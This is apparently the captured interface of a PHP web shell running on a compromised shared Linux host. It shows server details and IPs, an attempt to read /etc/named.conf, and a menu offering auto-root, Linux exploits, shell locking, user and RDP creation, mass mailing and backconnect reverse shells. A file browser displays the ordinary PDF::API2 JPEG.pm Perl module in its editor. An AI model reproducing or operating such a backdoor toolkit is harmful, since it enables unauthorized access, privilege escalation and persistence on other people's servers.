Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
PDF /
API2 /
Resource /
XObject /
Image /
[ HOME SHELL ]
Name
Size
Permission
Action
TIFF
[ DIR ]
drwxr-xr-x
GD.pm
1.45
KB
-rw-r--r--
GIF.pm
6.86
KB
-rw-r--r--
JPEG.pm
2.18
KB
-rw-r--r--
PNG.pm
27.76
KB
-rw-r--r--
PNM.pm
7.93
KB
-rw-r--r--
TIFF.pm
8.69
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : JPEG.pm
package PDF::API2::Resource::XObject::Image::JPEG; use base 'PDF::API2::Resource::XObject::Image'; use strict; use warnings; our $VERSION = '2.043'; # VERSION use IO::File; use PDF::API2::Util; use PDF::API2::Basic::PDF::Utils; use Scalar::Util qw(weaken); sub new { my ($class, $pdf, $file, $name) = @_; my $fh = IO::File->new(); $class = ref($class) if ref($class); my $self = $class->SUPER::new($pdf, $name || 'Jx' . pdfkey()); $pdf->new_obj($self) unless $self->is_obj($pdf); $self->{' apipdf'} = $pdf; weaken $self->{' apipdf'}; if (ref($file)) { $fh = $file; } else { open $fh, "<", $file or die "$!: $file"; } binmode $fh, ':raw'; $self->read_jpeg($fh); if (ref($file)) { seek $fh, 0, 0; $self->{' stream'} = ''; my $buf = ''; while (!eof($fh)) { read $fh, $buf, 512; $self->{' stream'} .= $buf; } $self->{'Length'} = PDFNum(length $self->{' stream'}); } else { $self->{'Length'} = PDFNum(-s $file); $self->{' streamfile'} = $file; } $self->filters('DCTDecode'); $self->{' nofilt'} = 1; return $self; } sub read_jpeg { my ($self, $fh) = @_; my ($buf, $p, $h, $w, $c, $ff, $mark, $len); $fh->seek(0,0); $fh->read($buf,2); while (1) { $fh->read($buf, 4); my ($ff, $mark, $len) = unpack('CCn', $buf); last if $ff != 0xFF; last if $mark == 0xDA || $mark == 0xD9; # SOS/EOI last if $len < 2; last if $fh->eof(); $fh->read($buf, $len - 2); next if $mark == 0xFE; next if $mark >= 0xE0 && $mark <= 0xEF; if ($mark >= 0xC0 && $mark <= 0xCF && $mark != 0xC4 && $mark != 0xC8 && $mark != 0xCC) { ($p, $h, $w, $c) = unpack('CnnC', substr($buf, 0, 6)); last; } } $self->width($w); $self->height($h); $self->bpc($p); if (defined($c) and $c == 3) { $self->colorspace('DeviceRGB'); } elsif (defined($c) and $c == 4) { $self->colorspace('DeviceCMYK'); } elsif (defined($c) and $c == 1) { $self->colorspace('DeviceGray'); } return $self; } 1;
Close